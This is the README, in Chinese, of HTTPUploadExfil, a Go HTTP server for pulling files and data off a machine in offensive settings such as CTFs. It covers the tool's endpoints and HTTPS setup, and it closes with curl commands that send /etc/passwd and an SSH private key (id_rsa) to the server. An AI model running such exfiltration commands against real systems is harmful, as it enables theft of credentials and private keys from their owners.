HTTPUploadExfil 是一个(非常)简单的 HTTP 服务器,用 Go 编写,用于通过 HTTP 从机器上获取文件(和其他信息)。虽然有很多应用场景,但它主要设计用于低风险的进攻性场景(例如 CTF)。
可以把它看作 python3 -m http.server,但功能是从机器上获取数据,而不是向机器发送数据。
显然,这是一种非常显眼且受限的数据窃取方式。尽管如此,它相当方便,且比使用 SMB 或 FTP 更简单。如果你在寻找更优雅的方案,不妨看看 dnsteal 或 PyExfil 等项目。
go build 构建工具。./httpuploadexfil :1337 /home/kali/loot。http://YOUR_IP:1337/。/home/kali/loot 目录中。如果需要 HTTPs,请参考下面的说明。
你也可以从 GitHub 下载预编译的二进制文件,适用于 Linux 和 Windows。但这些二进制文件不一定代表最新的更改。
虽然有预编译的二进制文件,但强烈建议自行构建。这样你将获得最新版本,并且清楚自己运行的具体内容。过程非常简单:
只需在文件夹内运行 go build,即可获得适用于你平台的 httpuploadexfil 可执行文件。
如果你修改了工具,记得使用 go fmt main.go 来格式化代码。
你也可以使用 make 来构建工具。运行 make cert 可以生成 SSL 证书(参见下文)。
最常见的用法是在机器 A 上运行服务器。然后在机器 B 上使用浏览器访问上传表单,选择一个文件进行窃取。当然,如下所示,也可以使用 curl 等工具实现。
除了上传文件,你还可以通过简单的 GET 请求来窃取数据。如果请求发送到 /g 端点,整个请求会被保存到磁盘。
因此,你可以通过请求头部来窃取数据。最简单的方法是使用 GET 参数(例如 ?data=...),但也有其他选项。

默认情况下,HTTPUploadExfil 会在 8080 端口提供服务。所有文件都会写入当前目录。
./httpuploadexfil
你还可以提供一些参数:
./httpuploadexfil :1337 /home/kali/loot
如果需要请求日志记录,请传递 -log 标志,例如:
./httpuploadexfil -log
第一个参数是绑定地址,第二个是存储文件的文件夹。
该工具还会在 /l 端点下公开 loot 目录中的文件。这可以作为一种将文件轻松传输到目标机器的方式。
Web 服务器提供以下四个端点供你使用:
/(GET)是上传表单。/p(POST)接收来自上传表单的数据。它需要一个 multipart/form-data 请求,并且 file 字段已填写。/g(GET)会接收任何 GET 请求,并将完整请求存储在服务器上。/l(GET)提供对指定文件夹中文件的访问(目录列表)。这提供了基本的 python3 -m http.server 功能。HTTPUploadExfil 也可以在 HTTPs 模式下使用。只需将 HTTPUploadExfil.csr 和 HTTPUploadExfil.key 文件放在二进制文件旁边即可。例如,可以通过以下方式生成:
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
你也可以运行 make cert 来完成此操作。
如果服务器检测到 HTTPUploadExfil.csr 文件,它将尝试以 HTTPs 模式启动。要切回 HTTP,只需删除或重命名证书文件即可。
使用 Bash,可以通过 GET 窃取数据,例如:
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g
当然,也可以使用 curl 窃取文件:
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
python3 -m http.server 功能)